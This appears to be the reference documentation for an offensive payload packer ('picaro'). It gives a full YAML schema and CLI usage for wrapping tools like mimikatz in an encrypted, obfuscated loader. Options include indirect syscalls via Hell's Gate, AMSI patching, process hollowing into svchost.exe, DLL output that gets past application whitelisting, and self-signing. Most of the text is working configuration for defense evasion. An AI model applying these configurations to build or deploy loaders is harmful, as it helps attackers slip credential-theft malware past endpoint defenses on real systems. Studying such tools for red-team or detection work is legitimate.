Skip to content

Plan reference

Every block of a schema-6 document, plus the interactive wizard that writes one. For a guided walk-through, start with Getting started.

A build is one YAML document. Strict by design: unknown keys are an error, so typos surface immediately instead of silently doing nothing.

schema: 6 # only version 6 is accepted
name: mimikatz-basic
build:
crypto: # default crypto for every payload
algo: xchacha20poly1305
key: random
payloads: # named payloads, loaded by an execution step
mimikatz:
source: ./payload.exe # a local path, or an http(s):// URL (fetched in memory)
format: pe # pe | shellcode | dll | dotnet
export: null # format: dll only: the exported function to call
args: [] # fixed args for the payload, before the runtime ones
args_mode: join # join | override
sha256: null # optional: pin the input's SHA-256 (64 hex chars)
# crypto: { ... } # optional: override build.crypto for this payload
stub:
path: null # null = builtin stub; or a path to a custom .rs
syscalls:
mode: indirect # none | indirect
resolver: hells_gate # hells_gate | tartarus_gate | api_hash
api_resolution: # optional: serve selected payload imports from the loader
mode: none # none | proxy (proxy needs syscalls: indirect + pe/dll)
apis: [] # catalogue entries, e.g. "kernel32!ReadProcessMemory"
unmatched: forward # forward | abort
strings:
strategy: xor # xor | stack
key: random # random | literal:<64 hex chars>
debug: false # compile a debuggable, non-evasive stub for the lab
output:
path: ./dist/mimikatz_packed.exe
kind: exe # exe | dll (a DLL a host process loads; see below)
entry: auto # DLL only: auto | jni_on_load | export:<name>
arch: x64 # x64 | x86 (default x64; the stub and the payload must match)
strip: true # default true: drop the symbol/debug tables
trim_paths: all # all | none | relative (default all: scrub absolute build paths)
manifest: true # write <stem>.manifest.json (provenance)
subsystem: console # console | windows (GUI; no console window)
resources: # optional PE resources (no rc.exe/windres needed)
icon: ./app.ico
version_info:
randomize: true # fill unset fields with generated values
company: "Contoso" # explicit fields always win
manifest:
level: as_invoker # as_invoker | highest_available | require_administrator
dpi_aware: true
sign: # optional Authenticode signing
mode: lab # none | lab | store | file
runtime: # ordered technique steps
- technique: patch_amsi
- technique: process_hollowing
params:
payload: mimikatz # which payload to run (implicit when there is one)
target: "C:\\Windows\\System32\\svchost.exe"
BlockWhat it decides
build.cryptoDefault payload encryption (XChaCha20-Poly1305, 24-byte nonce, fresh random key per build). A payload may override it with its own crypto block; with neither, encryption defaults to XChaCha20-Poly1305 with a random key.
build.payloads.<name>.sourceThe input to pack: a local path, or an http(s):// or file:// URL (http(s) is fetched in memory, never written to disk).
build.payloads.<name>.formatpe (default), dll, shellcode or dotnet (a managed assembly). Decides how the input is validated and how the Execution technique runs it.
build.payloads.<name>.exportFor format: dll, the exported function to call (e.g. Run). Without it only DllMain(DLL_PROCESS_ATTACH) runs.
build.payloads.<name>.args / args_modeFixed arguments handed to the payload (join = YAML args then the packed binary’s own; override = runtime args replace the YAML ones).
build.payloads.<name>.sha256Optional SHA-256 of the input. A mismatch aborts before anything is encrypted, so a URL (or a swapped file) cannot silently change what gets packed.
build.stub.stringsHow every runtime literal in the stub is obfuscated (xor or stack). Defaults to xor + random key, with a warning.
build.stub.api_resolutionServe selected payload imports (apis) from proxies generated in the loader instead of the real exports (mode: proxy). Needs syscalls.mode: indirect and a pe/dll payload; not usable with process_hollowing.
build.stub.debugCompile a debuggable stub: no hardening, source paths kept, techniques log to stderr. Markedly less evasive — for the lab, never for delivery.
build.stubThe stub itself: a custom template (path, null = builtin), the syscall layer (syscalls), API resolution (api_resolution) and string obfuscation (strings).
build.outputWhere the packed artifact goes and how it is finalized. arch selects the stub’s architecture (x64 or x86) and the payload must match it. manifest writes the provenance file.
build.output.kindexe (default) or dll. A DLL the host process loads — a JVM (System.load), CPython (ctypes), .NET ([DllImport]), rundll32 — which is what makes the chain usable where application whitelisting only allows the host program. entry picks the exports: auto, jni_on_load or export:<name>. See DLL output design.
build.output.subsystemconsole (default) or windows (GUI, no console window).
build.output.resourcesOptional PE resources embedded into the artifact: icon, version_info and manifest (Windows app manifest / UAC). Built in Rust and written into a .rsrc section.
build.output.signOptional Authenticode signing: lab (self-signed), store (an existing cert, Windows only) or file (a .pfx). Uses signtool on Windows and osslsigncode elsewhere.
runtimeThe ordered technique steps. Only Execution techniques (reflective_loading, process_hollowing, dotnet_hosting, execution_callbacks, module_stomping, fibers) take params.payload (optional with one payload, required with several); Preparation and Control steps never do. A technique’s parameters go under a nested params: mapping, and each step carries the loader’s own on_success/on_fail/delay_ms. See Runtime steps.

Build arguments. Positional args after the plan path are substituted in the YAML as $arg.N$ (0-based); an arg of the form name=value is available as $arg.name$. One plan can target several hosts:

Terminal window
picaro build plan.yaml "C:\\Windows\\System32\\svchost.exe"
runtime:
- technique: process_hollowing
params:
target: "$arg.0$"

A referenced-but-missing argument is a clear error, not a silent empty string.

Rather than writing the YAML by hand, answer a few questions and let the packer write it for you:

Terminal window
picaro build interactive mimikatz.exe

The wizard walks through the payload (name, runtime args), the techniques (one Execution plus any Preparation, each with its own parameters), the stub (strings, syscalls) and the output, then prints the resulting document and writes it. The YAML is the source of truth: the build runs from the file it just wrote, so re-running picaro build dist/mimikatz.yaml reproduces the artifact with no prompts. --plan-out <path> picks where the YAML lands (default dist/<name>.yaml).

The wizard is a form, not a list of numbered prompts: arrow keys move through single-choice menus, the spacebar toggles checkboxes on multi-selects, and Esc cancels. When you finish, a review screen shows the YAML it will write and lets you build now, edit answers (re-ask with your previous answers as the defaults, so a mistake is one cursor move away, never a restart) or quit.

Generated plans pass through the same validation as hand-written ones, so they are never the reason a build fails. Questions cover the common path only: a literal strings.key, a custom build.stub.path, args_mode: override or non-default sleep_obfuscation regions are one edit away in the written file. The fancy prompts require a real terminal; when stdin or stdout is redirected (e.g. a pipe or a script) the wizard falls back to plain line prompts.